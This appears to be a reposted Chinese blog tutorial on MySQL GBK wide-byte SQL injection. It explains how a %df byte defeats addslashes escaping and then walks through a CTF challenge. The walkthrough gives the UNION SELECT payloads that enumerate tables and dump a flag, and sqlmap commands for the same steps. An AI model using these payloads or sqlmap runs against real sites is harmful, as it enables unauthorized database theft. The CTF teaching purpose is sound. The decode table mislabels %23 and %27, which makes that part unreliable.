mysql 宽字符注入_sql注入 宽字节注入
寬字節注入
寬字節注入是利用mysql的一個特性,mysql在使用GBK編碼的時候,會認為兩個字符是一個漢字(ascii碼要大于128,才到漢字的范圍),
而當我們輸入有單引號時會自動加入\進行轉義而變為\’(在PHP配置文件中magic_quotes_gpc=On的情況下或者使用addslashes函數,icov函數,mysql_real_escape_string函數、mysql_escape_string函數等,
提交的參數中如果帶有單引號’,就會被自動轉義\’,使得多數注入攻擊無效),
由于寬字節帶來的安全問題主要是吃ASCII字符(一字節)的現象,將后面的一個字節與前一個大于128的ascii碼進行組合成為一個完整的字符
(mysql判斷一個字符是不是漢字,首先兩個字符時一個漢字,另外根據gbk編碼,第一個字節ascii碼大于128,基本上就可以了),
此時’前的\就被吃了,我們就可以使用’了,利用這個特性從而可實施SQL注入的利用。)
GBK?占用兩字節
ASCII占用一字節
PHP中編碼為GBK,函數執行添加的是ASCII編碼,MYSQL默認字符集是GBK等寬字節字符集。
%DF:
輸入%df和函數執行添加的%5C,被合并成%df%5C。由于GBK是兩字節,這個%df%5C被MYSQL識別為GBK。導致本應的%df\變成%df%5C。%df%5C在GBK編碼中沒有對應,所以被當成無效字符? 。
%df%5c? ----->? 運
%DF’
會被PHP當中的addslashes函數轉義為“? %DF\'” ,“\”則是URL里的“%5C”,那么也就是說,
“%DF'”會被轉成“%DF%5C%27”倘若網站的字符集是GBK,MYSQL使用的編碼也是GBK的話,就會認為“%DF%5C%27”是一個寬字符。也就是“縗’”
%df%5c%27? ----->? 縗 '
例如:http://www.xxx.com/login.php?user=%df’ or 1=1 limit 1,1%23&pass=
其對應的sql就是:
select * fromcms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”
所以%df和后面的\也就是%5c變成了一個漢字“運”, 而 ’逃逸了出來
URLdecode解碼
%23: ’
%27: #
%5c: \
%df \??? ------>運
%df%5c%27? ----->? 縗 '
例題:
先嘗試單引號?id=1’?? 發現頁面輸出的引號被轉義了,在前面加了一個 \ 符號
嘗試 如果構造 \ \ 那么后面的引號也就可以發揮作用了
構造:?id=1%df%27
報錯
再構造:?id=1%df%df%23
查詢又恢復正常了,因為%df%df 雙字節構成了一個漢字,而%df%23又不成漢字所以得知此題存在寬字節注入
開始爆數據庫:
?id=1%df%27 order by 2#
列數得知 2列。
爆庫:
?id=-1%df%27 union select 1,database()%23
數據庫:sae-chinalover
爆列表:
?id=-1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572%23
爆出這些表:
ctf,ctf2,ctf3,ctf4,gbksqli,news
爆字段:
?id=-1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23
字段:id flag
查詢關鍵字:
?id=-1%df%27 union select 1,flag from ctf4%23
利用Sqlmap:
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27"
跑出庫? :?? sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" ?--dbs
爆表:?? sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover ? --tables
爆字段 ?sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover -T ctf? --columns
跑出flag:sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover ?-C flag --dump
總結
以上是生活随笔為你收集整理的mysql 宽字符注入_sql注入 宽字节注入的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: mysql locking_Mysql
- 下一篇: python人脸识别pdf百度云_调用百